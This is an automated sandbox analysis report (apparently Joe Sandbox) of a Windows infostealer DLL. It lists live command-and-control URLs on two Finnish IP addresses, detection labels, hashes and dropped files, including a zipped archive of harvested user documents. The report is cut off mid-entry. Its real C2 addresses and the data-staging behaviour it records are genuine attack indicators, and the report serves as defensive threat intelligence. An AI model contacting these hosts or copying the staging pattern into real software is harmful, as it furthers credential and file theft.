Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
hoPazBDFG9.dll	34%	ReversingLabs	Win64.Infostealer.Tinba

Source	Detection	Scanner	Label
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=14	100%	Avira URL Cloud	malware
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1s	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1r	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh4DbS/index.php0	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh4DbS/index.phpU	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1	100%	Avira URL Cloud	phishing
http://185.81.68.148/	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1h	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh4DbS/index.php&	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1l	100%	Avira URL Cloud	phishing
http://185.81.68.147/7vhfjke3/index.php7	100%	Avira URL Cloud	phishing
http://185.81.68.147/7vhfjke3/index.php?wal=1shell32.dll	100%	Avira URL Cloud	malware
http://crl.microso#	0%	Avira URL Cloud	safe
http://185.81.68.148/ta;	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh4DbS/index.phpL	100%	Avira URL Cloud	phishing
http://185.81.68.147/7vhfjke3/index.php?wal=1r	100%	Avira URL Cloud	malware
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=18	100%	Avira URL Cloud	phishing
http://185.81.68.147/7vhfjke3/index.php?wal=1tes	100%	Avira URL Cloud	phishing
http://185.81.68.147/7vhfjke3/index.php	100%	Avira URL Cloud	phishing
http://185.81.68.147/7vhfjke3/index.php?wal=1	100%	Avira URL Cloud	phishing
http://185.81.68.147/7vhfjke3/index.php?wal=1nes	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1X	100%	Avira URL Cloud	malware
http://185.81.68.148/8Fvu5jh4DbS/index.php	100%	Avira URL Cloud	phishing

Name	Malicious	Antivirus Detection	Reputation
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1	true	Avira URL Cloud: phishing	unknown
http://185.81.68.147/7vhfjke3/index.php?wal=1	true	Avira URL Cloud: phishing	unknown
http://185.81.68.147/7vhfjke3/index.php	true	Avira URL Cloud: phishing	unknown
http://185.81.68.148/8Fvu5jh4DbS/index.php	true	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1r	rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1s	rundll32.exe, 00000004.00000002.2628441659.0000020836084000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000C.00000002.2452722797.0000017C818D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2521953043.00000200AA9EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2449845831.000002009C257000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2620798139.0000022EBDE9F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EAF704000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000014.00000002.2475127915.0000022EAF457000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.148/8Fvu5jh4DbS/index.php&	rundll32.exe, 00000003.00000002.2618277178.00000186D6654000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=14	rundll32.exe, 00000004.00000002.2628441659.0000020836084000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000014.00000002.2475127915.0000022EAE058000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EAF6B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000C.00000002.2452722797.0000017C80228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2449845831.000002009ABA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EAE058000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000014.00000002.2475127915.0000022EAE058000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EAF6B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1h	rundll32.exe, 00000003.00000002.2618277178.00000186D6654000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.81.68.148/	rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2628441659.0000020836084000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.81.68.148/8Fvu5jh4DbS/index.php0	rundll32.exe, 00000003.00000002.2618277178.00000186D6654000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1l	rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.microsoft.co	powershell.exe, 0000000C.00000002.2559808516.0000017CF3795000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000014.00000002.2475127915.0000022EAF704000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000014.00000002.2475127915.0000022EAF704000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.148/8Fvu5jh4DbS/index.phpU	rundll32.exe, 00000004.00000002.2628441659.0000020836063000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.81.68.147/7vhfjke3/index.php7	rundll32.exe, 00000004.00000002.2628441659.0000020836063000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.81.68.147/7vhfjke3/index.php?wal=1shell32.dll	rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=18	rundll32.exe, 00000004.00000002.2628441659.0000020836084000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://github.com/Pester/Pester	powershell.exe, 00000014.00000002.2475127915.0000022EAE058000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EAF6B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.148/ta;	rundll32.exe, 00000004.00000002.2628441659.0000020836063000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1R	rundll32.exe, 00000004.00000002.2628441659.0000020836084000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.microso#	powershell.exe, 00000014.00000002.2639330734.0000022EC6301000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.81.68.148/8Fvu5jh4DbS/index.phpL	rundll32.exe, 00000010.00000002.2651449629.0000016386D26000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000C.00000002.2452722797.0000017C80228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2449845831.000002009ABA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EAE058000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000014.00000002.2475127915.0000022EAF704000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000C.00000002.2452722797.0000017C818D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2521953043.00000200AA9EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2449845831.000002009C257000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2620798139.0000022EBDE9F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EAF704000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.147/7vhfjke3/index.php?wal=1r	rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/pscore68	powershell.exe, 0000000C.00000002.2452722797.0000017C80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2449845831.000002009A981000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EADE31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.147/7vhfjke3/index.php?wal=1tes	rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000C.00000002.2452722797.0000017C80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2449845831.000002009A981000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2475127915.0000022EADE31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.148/8Fvu5jh4DbS/index.php?wal=1X	rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.81.68.147/7vhfjke3/index.php?wal=1nes	rundll32.exe, 00000003.00000002.2618972692.00000186D861A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.81.68.147	unknown	Finland		50108	KLNOPT-ASFI	true
185.81.68.148	unknown	Finland		50108	KLNOPT-ASFI	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574267
Start date and time:	2024-12-13 07:48:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hoPazBDFG9.dll (renamed file extension from exe to dll, renamed because original name is a hash value)
Original Sample Name:	c6aabb27450f1a9939a417e86bf53217.dll.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winDLL@32/20@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 86% Number of executed functions: 13 Number of non-executed functions: 0
Cookbook Comments:	Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7128 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: hoPazBDFG9.dll

Simulations

Behavior and APIs

Time	Type	Description
01:49:06	API Interceptor	1x Sleep call for process: loaddll64.exe modified
01:49:07	API Interceptor	64x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.81.68.147	yINR7uQlPr.exe	Get hash	malicious	Amadey, RedLine	Browse	185.81.68.147/VzCAHn.php?1DC30FADAFF92643095942
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.147/tizhyf/gate.php?0CD020845398340779059
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	185.81.68.147/tizhyf/gate.php?2DB3A69DE7692371543510
185.81.68.148	yINR7uQlPr.exe	Get hash	malicious	Amadey, RedLine	Browse	185.81.68.148/8Fvu5jh4DbS/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
KLNOPT-ASFI	eHCgK6fZc2.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	yINR7uQlPr.exe	Get hash	malicious	Amadey, RedLine	Browse	185.81.68.148
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	185.81.68.147
	tjpq0h4wEH.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.115
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.115
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.115
	LxYpBRhMBx.exe	Get hash	malicious	RedLine	Browse	185.81.68.115
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.115
KLNOPT-ASFI	eHCgK6fZc2.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	yINR7uQlPr.exe	Get hash	malicious	Amadey, RedLine	Browse	185.81.68.148
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	185.81.68.147
	tjpq0h4wEH.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.115
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.115
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.115
	LxYpBRhMBx.exe	Get hash	malicious	RedLine	Browse	185.81.68.115
	file.exe	Get hash	malicious	RedLine	Browse	185.81.68.115

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulD/lh:NllUD/l
MD5:	EF0970C89C8D6018A43ED7415D00B7B0
SHA1:	F671C35E69A2CB5AF1D3C75B64F14BD551AD5726
SHA-256:	57FF9271AF374D47ACF42AA18392CCDFD160D6F1933C0E186F820F6457B1A72D
SHA-512:	34760CF79543B6C81CBEC6A32F1C548C3C8171AE07C863FE6C8AD68F3207C96445A83F32901AB0B2FF3904A03D33480F36F4FCBBD4DE816FD8FCBAB25AB619B2
Malicious:	false
Preview:	@...e...............................4................@..........

C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4613
Entropy (8bit):	7.767573637127756
Encrypted:	false
SSDEEP:	96:hW0S8j36k9iQCw3vgyguy84RLL1nitqL1nitG7:0U/0QFgy7y8YLNh7
MD5:	D15E24635DA31D104FA6913A03DB1448
SHA1:	190386830F64E5EC615CD29FC3848F877F82962E
SHA-256:	780B4A134A1C2D1C1B2DA8963CA151BD04B32DDBD9110F9A4C98BDC72CA53DAE
SHA-512:	11CC6A91AB5DDDAC0654D6BB2305C864E585C83BFE4C44AE7D5EE910047C99067D0A140DC2AF901A57495F0635954873C829152FFD3C918E2178749CFD70D43B
Malicious:	true
Preview:	PK........qCEW..d)............_Files_\GAOBCVIQIJ.docx...E1.E.#...9`....!.. t..AE...h`...RXj...s~\......f.mv.v#.-U...;..yy..%....n(.d>........p......e.1....JG.65o..AK.B.y.)g.DJ..7..\|......{......,JU]FX.P0n-...r.. .A.].e.J..3.l[.....N.{..v....T...8....\M.,..?...yc...[X.f.So....?8....R.C.x..q.V.....A.K...eW.9z.6W..U2.4Z-.\|.G.J.n5.t.P..&..."..d>[.l..O.<..&..[.T..G...Fur..;_....g...8.'...%C....z.....SaS>.......p..<.m...!..M.'/.....k7.3.t.~...;...:.K..Zv4..s[.^x.;.e.Gg..}.C7......;..7.K.Zn...};.n......f..1$.f}.X9.G2f.`..=a.`....RT9.......t...W.Ng..:.~DT..'\|..:.......x..........C.Y..y.T....,>...T\....I...S...R.q9g.q+IM.o...J..il.>.F.s....S...}D..=./.S..k....?PK........qCEW.+.j............_Files_\LSBIHQFDVT.docx..Ir@!......'..E.......R..-.Nqx....t.j....m..5.?.F..U....h..Rbys.j<...&....`..Xl........l.y....)}.......I...9.bn.....Fk....V5.>v..&.9..jW..7>...1`p.E.#..i.}.C.....c....M...yQp...m.lk... Th...sw9Ch..q.Q...hM9G....+T....P.\...~k.nO=....=

C:\Users\user\AppData\Local\Temp\_Files_\GAOBCVIQIJ.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\Users\user\AppData\Local\Temp\_Files_\LSBIHQFDVT.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698193102830694
Encrypted:	false
SSDEEP:	24:KhE228cmFkr20OAjI3miuGa+rJj0c5MpHs17/w:KhLpN0OAjI3mjGaSN0c5oqzw
MD5:	78472D7E4F5450A7EA86F47D75E55F39
SHA1:	D107CE158C547BA6E7FBA95479B375AA3E5A9DA9
SHA-256:	2E1C76361DFADCE9DB785153CC20DB121B8667BE1554EB59258F8B4507170147
SHA-512:	D556587AF39CFD879A7D698B11DC51C7B733CC7C971EBE165A0A238B623BE60EB4979101E6B167EE4D25578DE2CAEBE85063AF01C1E94F56A0E3DE811D2454FD
Malicious:	false
Preview:	LSBIHQFDVTSVVGEDSWPTOHLTEVYTSYUFESYWTQBFWWMHNBBEMBVMOFMZTMOHDQNCKKHKYRTCMCFSQHGYBSVKMOQQLLCPQZHKDOPBFGDVPYZVWAADJMJUDTGESJIJSIQZHWSKSIHTTLYRSZAUESRQOTVVODESFYDOSXVOSTUCUVRNFBAMHCVWDUZQFCHRONJGZADAUMSGTNUNYSJEYNAJVNHGNGEKEHFUHSWMPSTLDYTFLOUMEMBIOUMUQYVMXXUSQSJYMKPGRXNZNRQHYVNDPSJDMHHNJONALSNANDEAVHLRUPZWQZSUYKUNRGQKLVUFPNDCKWWBQHGNPLZWXZSMUEQMMVQATLEMDSGIBYTRQPDWMWCCPYAGXWODOAEXALYTURUVPQJZXUJNOZGFZASLIHIVVBQZYVLEIKGCCPNMMGMIBNZIGEAQZMKNAFRLUXOVVSCZFIZNIPVFFBXOTERXCQGMZIJJKDCRYFXCYFAPTPKLXEFWZKTOELZUOLCVEONVZUAOJTZVWUJWFPFUDVPHTTGKXHDSORYETAETDBZAWMPROUKXLMNPWEGGSTJGSGHJQEGHMKRIVKCSQQGLVWFOIBALTKZNZJKTVRHAUXODFVCAVHPPOMBIWHOJVPZHSRBNBWYKRTOJBZPFGIYJCKLLAKNNAOGERLLVXJLHSWDWQWYHKSOFVCMZYBNMNLGPJOILDGZXVYEWKJBWZQHSWDZWSZLBQIBWYRMMXSCPZOJNGUIEEGKJNLYCUVISYUKUZGGZJDVPNOYOFMAODKVQWRASSESZPGLAOUYYCSGNALLRLRODYFLJIZINLFQABYEGICCVXPUWRNWLWBEOBPSPLAWNUWCLXTGHIRGLZZTTJLXIYMCQWBYXIFLVPGIWZEPOQQLQCCZQTITKAMQMYEMNRHVDWXFLMRDFHDTFKTGYONHYUGKCISPDNCPWHZCRMEJKHTUBTLHNJJVOYIWLKBNFOTHVXQJRGQARLJFNBAJTTVFM

C:\Users\user\AppData\Local\Temp\_Files_\PWCCAWLGRE.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6969712158039245
Encrypted:	false
SSDEEP:	24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
MD5:	31CD00400A977C512B9F1AF51F2A5F90
SHA1:	3A6B9ED88BD73091D5685A51CB4C8870315C4A81
SHA-256:	E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
SHA-512:	0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
Malicious:	false
Preview:	PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

C:\Users\user\AppData\Local\Temp\_Files_\QNCYCDFIJJ.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	false
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\Temp\_Files_\ZQIXMVQGAH.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
